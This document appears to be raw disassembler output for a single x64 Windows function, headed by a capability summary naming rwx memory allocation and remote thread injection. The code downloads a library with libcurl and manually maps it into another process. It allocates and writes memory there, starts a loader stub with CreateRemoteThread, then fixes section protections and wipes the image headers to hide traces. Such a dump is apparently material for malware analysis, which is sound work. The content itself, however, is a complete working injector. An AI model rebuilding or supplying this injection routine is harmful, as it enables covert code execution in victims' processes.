Function at 0x1400012d0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x14006b060]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.Downloading_library..._n
call fcn.140001110
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r13d, r13d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r13
call fcn.140002a30
mov r8, rbx
mov edx, 0x2712
mov rcx, rax
mov rdi, rax
call fcn.140005430
lea r8, [0x140001170]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.140005430
xor r8d, r8d
lea edx, [r13 + 0x2b]
mov rcx, rdi
call fcn.140005430
lea r8, [0x1400011f0]
mov edx, 0x4e58
mov rcx, rdi
call fcn.140005430
lea r8, [rsp + 0x48]
mov edx, 0x2711
mov rcx, rdi
call fcn.140005430
mov rcx, rdi
call fcn.140002af0
mov rcx, rdi
mov ebx, eax
call fcn.140002a10
test ebx, ebx
je 0x1400013a7
mov edx, ebx
lea rcx, str.____CURLresult:__d_n
call fcn.140001110
xor al, al
jmp 0x14000197a
mov qword [rsp + 0x150], r12
lea rcx, str._nInjecting..._n
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x100], r15
call fcn.140001110
mov r12, qword [rsp + 0x48]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rsi
movsxd r15, dword [r12 + 0x3c]
add r15, r12
mov r8d, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001416
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx__1__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
mov dword [rbp - 0x1c], r13d
lea rax, [rbp - 0x1c]
mov r8d, dword [r15 + 0x50]
mov r9d, 0x40
mov rdx, r14
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rsp + 0x60], rax
mov r8, r12
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r14
mov qword [rsp + 0x68], rax
mov rcx, rsi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 1
mov qword [rbp - 0x68], 1
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x70], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014c6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory__1__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
movzx ebx, word [r15 + 0x14]
mov edi, r13d
add rbx, 0x2c
cmp word [r15 + 6], r13w
je 0x140001517
add rbx, r15
nop dword [rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x140001508
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r14
mov qword [rsp + 0x20], r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000156a
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400014e0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rsi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov rcx, rsi
test rax, rax
jne 0x140001598
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx__2__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory__2__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x60]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
test eax, eax
jne 0x1400015f8
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory__3__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov rcx, rsi
test rax, rax
jne 0x14000165f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx__3__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
xor edi, edi
lea r8, [0x1400019a0]
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, rsi
test eax, eax
jne 0x1400016d8
mov r9d, 0x8000
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory__4__Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
mov qword [rsp + 0x30], rdi
mov r9, r13
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14000174e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Error:_0x_X_n
call fcn.140001110
jmp 0x140001960
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x20], 0x103
jne 0x140001954
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp - 0x60]
mov rdx, r12
mov rcx, rsi
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x40]
cmp rbx, 0x404040
je 0x14000190c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140001760
mov ecx, 0x100000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x40], rax
mov rbx, rax
test rax, rax
jne 0x1400017f0
lea rcx, str.____emptyBuffer__nullptr_n
jmp 0x14000195b
xor edx, edx
mov r8d, 0x100000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r15 + 0x14]
add rbx, 0x3c
cmp word [r15 + 6], di
je 0x14000188f
add rbx, r15
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x140001880
mov eax, dword [rbx]
mov dword [rbp - 0x20], 0
test eax, 0x80000000
jbe 0x140001851
mov r9d, 4
jmp 0x140001860
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp - 0x20]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140001832
xor ebx, ebx
mov rdx, r14
mov dword [rbp - 0x18], ebx
mov rcx, rsi
movzx eax, word [r15 + 0x14]
lea r9d, [rbx + 2]
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8, qword [rsp + 0x40]
mov r9d, 0x1000
mov rdx, r13
mov qword [rsp + 0x20], rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov al, 1
jmp 0x140001962
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____hCheck__0x404040_n
jmp 0x14000195b
lea rcx, str.____GetExitCodeProcess___STILL_ACTIVE_n
call fcn.140001110
xor al, al
mov r14, qword [rsp + 0x108]
mov r12, qword [rsp + 0x150]
mov r15, qword [rsp + 0x100]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14004fda0
add rsp, 0x110
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret